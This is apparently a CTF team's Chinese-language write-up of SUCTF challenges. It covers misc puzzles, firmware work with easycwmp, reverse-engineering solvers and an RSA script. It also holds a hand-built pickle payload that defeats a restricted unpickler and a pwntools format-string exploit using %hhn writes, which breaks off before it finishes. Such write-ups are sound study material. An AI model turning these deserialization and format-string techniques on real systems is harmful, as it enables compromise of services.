请问师傅 encode('utf-16be')
这个有什么用
Team: De1ta
前排广告位:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
Misc
签到
from base64 import b64decode
a=open("1.txt","r").read()
c=open("1.png","wb")
c.write(b64decode(a))
c.close()
guess_game
一个猜数字游戏,题目提供了客户端和服务端。这个游戏有10轮,每轮猜0-10共11个数字,10轮全部猜中才出flag,直接碰撞不可能。
这题主要考察对 pickle
序列化的了解,读懂 pickle
的源代码,手工构造出相应 payload
即可。
RestrictedUnpickler.py
里重写了 find_class
,对反序列化的对象位置进行了限制,只允许 guess_game
下的模块,而且不允许含 __
的内置对象。
那么可以先反序列化一个 guess_game里的game对象
,然后再反序列化一个 guess_game.Ticket里的Ticket类
,参数 number
随便赋一个值(比如6),然后将 Ticket
赋值给 game的curr_ticket
覆盖服务端随机生成的 Ticket
,最后我们再反序列化一次最开始反序列化的 Ticket
,参数 number
赋相同值。
将以上反序列化过程,对照 pickle
源代码构造好一条语句,直接循环10次打过去,就能拿到flag。
构造好的 payload
:
ticket = b"\x80\x04cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sbd\x86bcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb."
Flag: flag{cabe5968-8143-4c45-91b7-557edab2ab4d}
game
index.html里有一句话:can u find my secret
?
在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png
,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==
,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===
的b32decode,解开可得flag
flag:
suctf{U_F0und_1t}
protocol
简单看一下流量包,发现有很多png,foremost提取出来,图片有两种,一种是一个字符的镜面图片,另一种是空白图片,并且每隔15张字符图片后有10张空白图片。重新审计流量包,发现传输每张图片的流量的数据部分第3个字节有一定的变化规律,遂将该字节相同的空白图片与字符图片一一对应,即得flag。
flag:
suctf{My_usb_pr0toco1_s0_w3ak}
homerouter
先试着用binwalk提取下发的路由器固件,能看到文件:
这个时候能看到有个那么不常见的东西:
能看到配置文件里有个不寻常的东西:
EasyCwmp is a GPLv2 open source implementation of the TR069 cwmp standard.
这个时候就大概能猜想要去利用easycwmp来连接一下服务器看看会有什么。可以选择用qemu来跑固件,比较省事。还有个比较不那么靠谱的方法就是用Burp一类的工具模拟协议发包和服务器交互了。
有关更多信息,可以查看这里或者Google。
由于这边不知道为啥qemu有点问题跑不起来,于是乎拿了一个路由器和一个软路由试了一下,下面都记录了。比赛的时候是用的一台平时折腾用的Phicomm K2,之前刷了PandoraBox,于是直接SSH上去。
使用PandoraBox
由于PandoraBox有预编译的包,所以可以直接:
opkg update
opkg install easycwmp
然后编辑/etc/config/easycwmp
里的acs相关的配置。串号随意改一个就好了。
这个时候如果尝试直接跑easycwmp -f -b
的话可能会没有反应就退出了,好像是因为这里的easycwmp自己已经启动了。只好ps
看一下进程,然后把它kill
掉。
这个时候应该能正常用了,不过我这边没有输出,像卡住了一样,搜了一下发现应该去看syslog。于是先开着:
logread -f
然后改了个串号再开easycwmp -f -b
。如果发现日志里出现Error reading ca cert file
的话,可以:
opkg install ca-bundle
然后重试上面的步骤。如果/usr/share/easycwmp/functions
下的文件里有system_set_password root
的话(没有的话就去把固件里的/usr/share/easycwmp/functions/system
复制一份过来),应该能在日志里读到:(就是下发配置修改root密码)
最后...接下来你可能会因为接下来登录不了SSH和LuCI而怀疑人生,不要慌,因为它帮你把密码设置成了flag...
使用OpenWRT软路由
这个只要搞个虚拟机就可以跑,比较简单。没有的话可以先下载一下镜像:Index of /snapshots/targets/x86/64/。(其实也可以玩玩Koolshare的LEDE)
具体安装方法可以看这里:Run OpenWrt as a VirtualBox virtual machine。
主要就是解压,然后转盘:
VBoxManage convertfromraw --format VDI openwrt-x86-64-combined-squashfs.img openwrt-x86-64-combined-squashfs.vdi
'C:\Program Files\Oracle\VirtualBox\VBoxManage.exe' convertfromraw --format VDI openwrt-x86-64-combined-squashfs.img openwrt-x86-64-combined-squashfs.vdi
然后VirtualBox新建虚拟机,使用已存在的虚拟硬盘文件即可。启动前需要保证网卡1是仅主机(Host-only)适配器,网卡2是NAT,不然可能上不了网。(Koolshare的好像不大一样,自己看文档吧)
要是启动后网络还是有问题就:
uci show network
看一下。可以:
uci set network.lan.ipaddr='192.168.56.2'
uci commit
reboot
把不对的改掉。
然后就可以来装easycwmpd了。现在没有预编译的包了,只好自己编译。
这里贴一下自己编译的,可以直接下载对应架构的,然后:
opkg install xxx.ipk
非要自己编译的话就看着这里(pivasoftware/easycwmp)的README编译吧。需要先git clone https://github.com/openwrt/openwrt
,然后把easycwmp-openwrt和microxml的压缩包解压到openwrt/package
下,这个时候在openwrt
目录下执行:
make menuconfig
应该就能在Utilities里找到easycwmpd了。根据自己的需要进行make
即可。
安装完成后的操作就和在PandoraBox下差不多了,就是改配置,然后读日志,再启动客户端就好了。
RE
signup
gmp库计算RSA
直接在factordb分解N
from Crypto.Util.number import inverse
p = 282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse(e,phi)
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
m = pow(c,d,n)
print(hex(m)[2:-1].decode("hex"))
hardcpp
用ollvm混淆过的c++代码。
开头给了一个类似哈希的东西,先不管。
ollvm中应该开了运算混淆,流程平坦化和一些虚假分支,调试一下发现主要流程就在那一堆lamda那里。
输入一共21位长度,从下标为1开始加密,和之前一位进行一些四则运算,然后和enc比较,enc一共20位。
这些四则运算都是可逆的,所以知道一位就能求出下一位,只需要爆破下标为0的字符,即可求出flag
enc = [ 0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C,
0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]
for j in range(256):
a = [j]
for i in range(0,20):
a.append(((enc[i] ^ ((a[i]^18)*3+2))-(a[i]%7))&0xff)
s = "".join(map(chr,a))
if "flag" in s:
print(s)
查一下md5发现是井号,也就是第一个字符。
Akira Homework
程序有多处反调试,以及多处check,通过这些check会还原一个dll,后面多线程会进入这个dll最终到一段aes的逻辑得到flag。
程序中的字符串都被某一个字符异或加密了,所以搜不到字符串,但是可以对key数组查找引用找到所有加密的字符串。
做法以调试为主,先把地址随机化关掉,然后在所有Isdebuggerpresent和exit处下断点查看,基本遇到的反调试直接nop/jmp掉
开始的tls回调函数会解密四个字符串NtQueryInformationProcess,ZwQueryInformationThread,NtQueueApcThread和ntdll.dll。查找这些字符串的引用可以在后面看到用GetProcAdreee获取这些函数地址。但是使用ida调试的时候,tls回调函数被多次调用了,可能是后面多线程的关系,导致这些字符串被重复加密,到最后就没被还原去使用了,所以在这里打断点,第一次停下的时候执行解密,之后每次停下都直接set ip到最后ret
main函数逻辑较为简单:开头起了多线程,先看主线程的逻辑:
先输入一串passwd,经过一串简单的加密,解密出来是
Akira_aut0_ch3ss_!
之后第二个check会获取当前目录,在后面加一个:signature后打开,比如/WinRev.exe:signature
,从中获取内容并md5校验。md5解出来是Overwatch
问了下队里师傅,冒号说是文件流,可以通过以下指令写入:
type 1.txt >> WinRev.exe:signature
1.txt中放要写入的内容。把"Overwatch"字符串写入后就能通过check。
注意到两个check通过后都会调用sub_140006C10
函数,里面调用了某个函数,下断跟进后发现是这两个函数
sub_140008910
和sub_1400089E0
他们对全局变量unk_1400111A0
进行了解密,然后SetEvent一个Handles变量,这个变量一共又三个。通过查找他的交叉引用以及sub_140006C10
函数的引用,发现在开头起的多线程里面sub_140008B20
又被调用了。简
单分析下这个函数,发现这里md5了什么东西并和一些md5值校验,相等则直接exit。这里可以猜到md5的可能是进程名,如果有ida.exe等进程则退出,通过下断点调试也能发现,在退出时可以看到md5的内容是ida64.exe。通过进程名校验后会调用sub_140006C10
解密。判定了一个全局变量,所以只会解密一次。
全部通过这三个校验并完成,会看到解密完的结果有pe头。dump出来是个dll
之后main函数就没啥用了,sleep挂起。为了方便调试,可以修改sleep的时间,调大一些。
接下来主要是另一个线程中干的事了。分析beginthreadex的起始函数,注意到里面有个sub_140009850
中信息很多。发现了DllInput以及校验了MZ字符。开头他在等待三个Handles设定完毕。但进入这个函数的条件byte_140016198
一直没找到在哪设置。分析sub_140008D20
函数,他会调用参数一函数指针,查找这个全局变量的引用,看到它是在sub_140009C20
中被设置,同样的还有qword_140016178
和qword_140016180
,他们最终被sub_140008850
设置成一开始tls回调函数解密的NtQueryInformationProcess,ZwQueryInformationThread和NtQueueApcThread,当他们都被成功设置后,就能成功进入sub_140009850
的逻辑了。
如果wait到一个258的信号,会提示time out并推出,所以之前sleep要改长一点。
单步调试发现到sub_140007D80
里面会获取输入,逐步f8跟进最终来到sub_180002880
是最后的逻辑:
__int64 sub_180002880()
{
__int64 v0; // rax
__int64 v2; // [rsp+0h] [rbp-B8h]
__int64 v3; // [rsp+20h] [rbp-98h]
__int64 v4; // [rsp+30h] [rbp-88h]
__int64 v5; // [rsp+38h] [rbp-80h]
__int64 v6; // [rsp+40h] [rbp-78h]
__int64 v7; // [rsp+48h] [rbp-70h]
char v8; // [rsp+50h] [rbp-68h]
char v9; // [rsp+68h] [rbp-50h]
char v10; // [rsp+80h] [rbp-38h]
__int64 v11; // [rsp+90h] [rbp-28h]
memset(&v8, 0, 0x11ui64);
ucrtbase_puts("Now check the sign:");
sub_1800027A0("%32s", &v8);
v5 = kernel32_OpenEventW(2031619i64, 1i64, L"DLLInput");
if ( v5 )
{
kernel32_WaitForSingleObject(v5, 0xFFFFFFFFi64);
kernel32_CloseHandle(v5);
v4 = kernel32_OpenFileMappingW(983071i64, 0i64, L"ShareMemory");
if ( v4 )
{
v3 = 0x8000i64;
kernel32_MapViewOfFile();
v7 = v0;
if ( v0 )
{
kernel32_CloseHandle(v4);
v6 = ucrtbase_malloc(0x8000i64);
vcruntime140_memset(v6, 0i64, 0x8000i64);
vcruntime140_memcpy(v6, v7, 0x8000i64);
strcpy(&v10, "Ak1i3aS3cre7K3y");
memset(&v9, 0, 0x11ui64);
sub_180002800(&v10, &v9, v6);
if ( (unsigned int)ucrtbase_strcmp(&v9, &v8) )
sub_1800026F0("wow... game start!\n");
else
sub_1800026F0("Get finally answer!\n");
}
else
{
kernel32_CloseHandle(v4);
}
}
}
return sub_180002AB0((unsigned __int64)&v2 ^ v11);
}
其中sub_180002800
很容易看出是aes,密文是之前另一个线程里面看起来很像密文的东西,key就在这里。由于这里获取输入后直接跟解密后的明文比较,所以不需要自己解密,在strcmp下断点就能看到flag了:
flag{Ak1rAWin!}
babyunic
使用unicorn引擎,翻一下unicorn源码可以得知几个函数及参数的意思
https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/unicorn.h
https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/mips.h
可以得知架构是mips,大端序
输入的flag与结果分别被写到两个地址,分别作为指针通过a0和a1传入,然后设置了fp和sp的值。代码写到另一个地址,然后开始执行。最后从结果处读数据与常量对比。
ida自带有mips大端序处理器模块,使用retdec插件可以反编译,但是效果不是很好。
不过代码逻辑特别简单,很容易能看懂。
先是循环左移三位,然后异或下标,最后互相加减计算出42个结果。
因此只需解42元方程组。
编写脚本提取出方程组:
bg = 0x00000378
end = 0x00007058
addr = bg
def next_instr(addr):
return addr+ItemSize(addr)
counter = 0
counter_c = 1
while(addr<end):
counter = 0
print "flag[0]",
while(True):
next = next_instr(addr)
mnem = GetMnem(addr)
if 'addiu' in mnem:
counter+=1
elif 'addu' in mnem:
print "+ flag[%d]"%counter,
elif "subu" in mnem:
print "- flag[%d]"%counter,
if "sw" in GetDisasm(addr):
print("== cipher[%d]"%counter_c)
addr = next
addr = next_instr(addr)
addr = next_instr(addr)
break
addr = next
counter_c+=1
然后用文本操作提取出矩阵,解出flag
from numpy import *
from struct import unpack
A = mat([[1,1,1,-1,1,-1,-1,-1,-1,1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,1,1,-1,1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,1,1],
[1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,1],
[1,-1,1,1,-1,1,-1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,1,1,1,1,-1,1,1,1,1,-1,1,-1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1],
[1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,1],
[1,-1,-1,1,-1,-1,1,1,1,1,-1,1,1,-1,1,-1,1,1,-1,1,-1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,-1],
[1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,1,1,-1,1,-1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,-1,1,-1,-1,1,1],
[1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,1,-1],
[1,1,-1,-1,-1,1,1,-1,1,1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,1,1,1,1,-1,1,-1,1,1,1,1,-1,-1],
[1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,-1,1,-1],
[1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,1,1],
[1,-1,1,1,-1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,-1,1,-1,1,1],
[1,-1,1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,-1,-1,1,1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1],
[1,-1,-1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1],
[1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1],
[1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,-1],
[1,-1,1,1,1,1,-1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1],
[1,-1,1,1,-1,-1,1,1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,-1,1],
[1,1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,1,-1],
[1,-1,-1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1],
[1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,1,1,-1,1,-1,-1,-1,1,1,-1],
[1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,1,1,-1,1,-1,1,-1],
[1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1,1],
[1,1,1,1,1,1,1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,-1,1,-1,1,1],
[1,-1,1,1,-1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1],
[1,1,-1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,-1],
[1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,1],
[1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,1],
[1,-1,1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1],
[1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,1,1,1],
[1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,1,1,-1,1],
[1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1],
[1,1,-1,1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,1,1,1,1,-1,1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1],
[1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,-1,1,-1,1],
[1,-1,-1,1,1,1,1,-1,-1,1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,-1],
[1,1,-1,1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1],
[1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,1,1,-1,-1],
[1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,-1],
[1,-1,-1,1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1],
[1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,1,-1],
[1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,1,-1,1,1,-1,-1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,-1,1,1,1,-1,1],
[1,-1,-1,-1,1,1,1,-1,1,1,-1,1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,1,-1,1,1,1,1],
[1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1]])
res = "FFFFFF94FFFFFF3800000126FFFFFF28FFFFFC1000000294FFFFFC9E000006EA000000DC00000006FFFFFF0CFFFFFDF6FFFFFA82FFFFFCD000000182000003DE0000014E000002B2FFFFF8D800000174FFFFFAA6FFFFF9D4000001C2FFFFF97C0000035A00000146FFFFFF3CFFFFFA14000001CE000007DCFFFFFD48000000980000085EFFFFFDB0FFFFFFBC0000036EFFFFFF4EFFFFF836000005C0000006AE0000069400000022".decode("hex")
y = []
for i in range(42):
tmp = res[i*4:i*4+4]
tmp = unpack(">i",tmp)[0]
y.append(tmp)
B = mat(y)
B = B.reshape(42,1)
B = A.I*B
B = B.reshape(1,42)
B = B.tolist()[0]
for i in range(42):
B[i] = int(round(B[i]))
B[i]^=i
B[i] = (B[i]>>3)|(B[i]<<5)
B[i]&=0xff
print("".join(map(chr,B)))
Rev
不太懂c++,瞎调。
首先在00000001400016A3
有两个check,一开始不知道干啥的,随便试
后面看到sub_140002B80
里面有isspace和ispunct,猜测跟符号有关。瞎调调出来是用符号分割成几部分,第一个校验3部分,第二个校验第一部分的长度10
之后在0000000140001763
附近把第一组异或了0xAB,然后和常量对比。然而常量只有5字节,实在想不出还有啥东西了,就直接跳过了
下一部分校验长度4,然后校验大写字母,然后是A-G,后一字节依次比前一字节大2,得出ACEG
最后一部分先是atoi,然后校验偶数,和两个方程。直接z3求出。
from z3 import Solver
s = Solver()
x = BitVec("x",32)
s.add(x&1==0)
s.add(((0x4D2 * x + 0x162E) / 0x112C ^ 0xABCDDCBA) == 0xABCDB8B9)
s.add(((0x91E * x + 0x2693) / 0x1E61 ^ 0x12336790) == 0x1233FC70)
print(s.check())
print(s.model())
得到flag:
suctf{ACEG31415926}
Pwn
playfmt
flag在堆上格式化字符串读出来就可以
from pwn import *
context.log_level = "debug"
main_ebp_offset = 26
def format_offset(format_str , offset):
return format_str.replace("{}" , str(offset))
def get_target(offset , name):
payload = format_offset("%{}$p\x00" , offset)
p.sendline(payload)
text = p.recv()
try:
value = int(text.split("\n")[0] , 16)
print(name + " : " + hex(value))
return value
except Exception, e:
print text
def modify_byte(last_byte , offset):
payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset)
p.sendline(payload)
p.recv()
def modify(addr , value , ebp_offset , ebp_1_offset):
addr_last_byte = addr & 0xff
for i in range(4):
now_value = (value >> i * 8) & 0xff
modify_byte(addr_last_byte + i , ebp_offset)
modify_byte(now_value , ebp_1_offset)
p = process("./playfmt")
#elf = ELF("./playfmt")
#p = remote("120.78.192.35",9999)
elf = ELF("./playfmt")
p.recvuntil("=\n")
gdb.attach(p)
raw_input()
play_ebp_addr = get_target(6, "ebp")
raw_input()